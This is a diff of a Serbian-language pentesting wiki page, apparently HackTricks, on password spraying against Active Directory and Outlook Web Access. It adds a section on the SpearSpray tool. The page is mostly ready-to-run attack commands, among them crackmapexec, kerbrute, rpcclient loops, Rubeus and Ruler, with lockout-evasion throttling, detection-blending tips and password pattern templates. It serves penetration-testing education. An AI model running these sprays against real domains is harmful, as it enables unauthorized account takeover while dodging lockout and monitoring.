diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index c7886be28..94cf465b7 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Kada pronađete nekoliko **validnih korisničkih imena**, možete isprobati najviše **uobičajene lozinke** (imajte na umu politiku lozinki okruženja) sa svakim od otkrivenih korisnika.\ -Po **defaultu**, **minimalna** **dužina** **lozinke** je **7**. +Kada pronađete nekoliko **valid usernames** možete pokušati najčešće **common passwords** (imajte na umu password policy okruženja) sa svakim od otkrivenih korisnika.\ +By **default** the **minimum** **password** **length** is **7**. -Liste uobičajenih korisničkih imena takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Liste common usernames takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Imajte na umu da **možete zaključati neke naloge ako pokušate nekoliko pogrešnih lozinki** (po defaultu više od 10). +Imajte na umu da **could lockout some accounts if you try several wrong passwords** (by default more than 10). -### Get password policy +### Dobijte password policy -Ako imate neke korisničke akreditive ili shell kao domen korisnik, možete **dobiti politiku lozinki sa**: +Ako imate neke user credentials ili shell kao domain user možete **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Eksploatacija iz Linuxa (ili svih) +### Eksploatacija sa Linuxa (ili sa bilo kog OS-a) - Korišćenje **crackmapexec:** ```bash @@ -47,29 +47,29 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(možete naznačiti broj pokušaja kako biste izbegli zaključavanje):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da izbegnete zaključavanja):**_ ```bash spray.sh -smb ``` -- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČENO, PONEKAD NE RADI +- Koristeći [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČLJIVO, PONEKAD NE RADI ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- Sa `scanner/smb/smb_login` modulom **Metasploit**: +- Pomoću modula `scanner/smb/smb_login` iz **Metasploit**: ![](<../../images/image (745).png>) -- Koristeći **rpcclient**: +- Pomoću **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Iz Windows-a +#### Sa Windows-a -- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom sa brute modulom: +- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja sadrži brute modul: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Sa [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Može generisati korisnike iz domena po defaultu i dobiće pravila lozinki iz domena i ograničiti pokušaje u skladu s tim): +- Sa [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Može podrazumevano generisati users iz domaina i preuzeti password policy iz domaina i ograničiti pokušaje u skladu sa njom): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -89,17 +89,82 @@ Invoke-SprayEmptyPassword ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying smanjuje šum u poređenju sa SMB/NTLM/LDAP bind pokušajima i bolje se uklapa u AD lockout policies. SpearSpray kombinuje LDAP-driven targeting, pattern engine i policy awareness (domain policy + PSOs + badPwdCount buffer) kako bi spray-ovao precizno i bezbedno. Takođe može označiti kompromitovane principe u Neo4j za BloodHound pathing. + +Key ideas: +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Throughput control with threads, jitter, and max requests per second. +- Optional Neo4j integration to mark owned users for BloodHound. + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +Ciljanje i kontrola obrazaca: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +Stealth i sigurnosne kontrole: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound obogaćivanje: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +Pregled sistema šablona (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Dostupne promenljive uključuju: +- {name}, {samaccountname} +- Vremenske vrednosti iz pwdLastSet (ili whenCreated) svakog korisnika: {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Pomoćni elementi za kompoziciju i org token: {separator}, {suffix}, {extra} + +Operativne napomene: +- Preporučuje se da se upit šalje PDC-emulatoru pomoću -dc kako biste pročitali najautoritatnije badPwdCount i informacije vezane za politiku. +- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon perioda posmatranja; koristite prag i tajming da ostanete bezbedni. +- Kerberos pre-auth pokušaji se pojavljuju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite. + +> Savet: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. + ## Outlook Web Access Postoji više alata za p**assword spraying outlook**. - Sa [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- sa [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- Sa [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Sa [Ruler](https://github.com/sensepost/ruler) (pouzdan!) - Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lozinka / mala lista lozinki za spray. +Da biste koristili bilo koji od ovih alata, potreban vam je spisak korisnika i jedan password / mala lista passwords za spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -118,8 +183,13 @@ Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lo - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## References +## Izvori +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)